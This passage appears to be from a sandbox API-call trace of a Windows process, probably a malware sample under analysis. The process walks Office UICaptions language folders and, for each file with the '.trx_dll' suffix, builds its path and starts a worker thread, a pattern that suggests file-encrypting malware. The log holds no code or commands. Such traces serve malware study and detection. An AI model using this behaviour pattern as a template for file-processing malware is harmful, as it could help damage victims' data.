_Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" [0150.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a10 [0150.673] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1 [0150.673] wcscmp (_String1="STINTL.DLL.trx_dll", _String2=".") returned 1 [0150.674] wcscmp (_String1="STINTL.DLL.trx_dll", _String2="..") returned 1 [0150.674] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7b08 [0150.674] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.674] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.674] wcscat (in: _Dest=0x8e7b08, _Source="STINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" [0150.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a14 [0150.674] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1 [0150.675] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2=".") returned 1 [0150.675] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2="..") returned 1 [0150.675] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c76030 [0150.675] wcscpy (in: _Dest=0x12c76030, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.675] wcscat (in: _Dest=0x12c76030, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.675] wcscat (in: _Dest=0x12c76030, _Source="VISBRRES.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" [0150.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a18 [0150.676] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1 [0150.676] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2=".") returned 1 [0150.676] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2="..") returned 1 [0150.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7d48 [0150.676] wcscpy (in: _Dest=0x8e7d48, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.676] wcscat (in: _Dest=0x8e7d48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.676] wcscat (in: _Dest=0x8e7d48, _Source="VISINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" [0150.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a1c [0150.677] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1 [0150.677] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2=".") returned 1 [0150.677] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2="..") returned 1 [0150.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6fc8 [0150.677] wcscpy (in: _Dest=0x8e6fc8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.677] wcscat (in: _Dest=0x8e6fc8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.677] wcscat (in: _Dest=0x8e6fc8, _Source="WWINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" [0150.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a20 [0150.678] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1 [0150.679] wcscmp (_String1="WWINTL.REST.trx_dll", _String2=".") returned 1 [0150.679] wcscmp (_String1="WWINTL.REST.trx_dll", _String2="..") returned 1 [0150.679] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6f38 [0150.679] wcscpy (in: _Dest=0x8e6f38, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.679] wcscat (in: _Dest=0x8e6f38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.679] wcscat (in: _Dest=0x8e6f38, _Source="WWINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" [0150.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a24 [0150.680] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1 [0150.680] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2=".") returned 1 [0150.680] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2="..") returned 1 [0150.680] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c760c8 [0150.680] wcscpy (in: _Dest=0x12c760c8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.680] wcscat (in: _Dest=0x12c760c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.680] wcscat (in: _Dest=0x12c760c8, _Source="XLINTL32.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" [0150.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c760c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a28 [0150.681] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1 [0150.681] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2=".") returned 1 [0150.681] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2="..") returned 1 [0150.681] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76160 [0150.681] wcscpy (in: _Dest=0x12c76160, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.681] wcscat (in: _Dest=0x12c76160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.681] wcscat (in: _Dest=0x12c76160, _Source="XLINTL32.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" [0150.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a2c [0150.682] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1 [0150.682] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2=".") returned 1 [0150.682] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2="..") returned 1 [0150.682] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c761f8 [0150.682] wcscpy (in: _Dest=0x12c761f8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.683] wcscat (in: _Dest=0x12c761f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.683] wcscat (in: _Dest=0x12c761f8, _Source="XLSLICER.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" [0150.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c761f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30 [0150.684] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0 [0150.684] FindClose (in: hFindFile=0x942630 | out: hFindFile=0x942630) returned 1 [0150.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905d00) returned 1 [0150.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f14b8) returned 1 [0150.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f4a0) returned 1 Thread: id = 2658 os_tid = 0x1628 [0147.033] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1368 [0147.034] wcscpy (in: _Dest=0x8f1368, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0147.034] wcscat (in: _Dest=0x8f1368, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0147.034] wcscat (in: _Dest=0x8f1368, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*" [0147.034] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0147.034] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0147.641] wcscmp (_String1=".", _String2=".") returned 0 [0147.641] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.803] wcscmp (_String1="..", _String2=".") returned 1 [0148.803] wcscmp (_String1="..", _String2="..") returned 0 [0148.803] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1 [0148.803] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2=".") returned 1 [0148.803] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2="..") returned 1 [0148.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ac690 [0148.804] wcscpy (in: _Dest=0x9ac690, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0148.804] wcscat (in: _Dest=0x9ac690, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0148.804] wcscat (in: _Dest=0x9ac690, _Source="ENVELOPR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" [0150.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0150.093] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1 [0150.093] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2=".") returned 1 [0150.093] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2="..") returned 1 [0150.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x941078 [0150.093] wcscpy (in: _Dest=0x941078, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.093] wcscat (in: _Dest=0x941078, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.093] wcscat (in: _Dest=0x941078, _Source="GRINTL32.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" [0150.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x941078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f8 [0150.094] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x39960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1 [0150.094] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2=".") returned 1 [0150.094] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2="..") returned 1 [0150.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x940fe0 [0150.094] wcscpy (in: _Dest=0x940fe0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.094] wcscat (in: _Dest=0x940fe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.094] wcscat (in: _Dest=0x940fe0, _Source="GRINTL32.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" [0150.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17fc [0150.095] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x47d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1 [0150.095] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2=".") returned 1 [0150.095] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2="..") returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0xd4c9280 [0150.095] wcscpy (in: _Dest=0xd4c9280, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.095] wcscat (in: _Dest=0xd4c9280, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.095] wcscat (in: _Dest=0xd4c9280, _Source="MAPIR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" [0150.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1804 [0150.096] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1 [0150.096] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2=".") returned 1 [0150.096] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2="..") returned 1 [0150.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x940f48 [0150.096] wcscpy (in: _Dest=0x940f48, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.097] wcscat (in: _Dest=0x940f48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.097] wcscat (in: _Dest=0x940f48, _Source="MOR6INT.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" 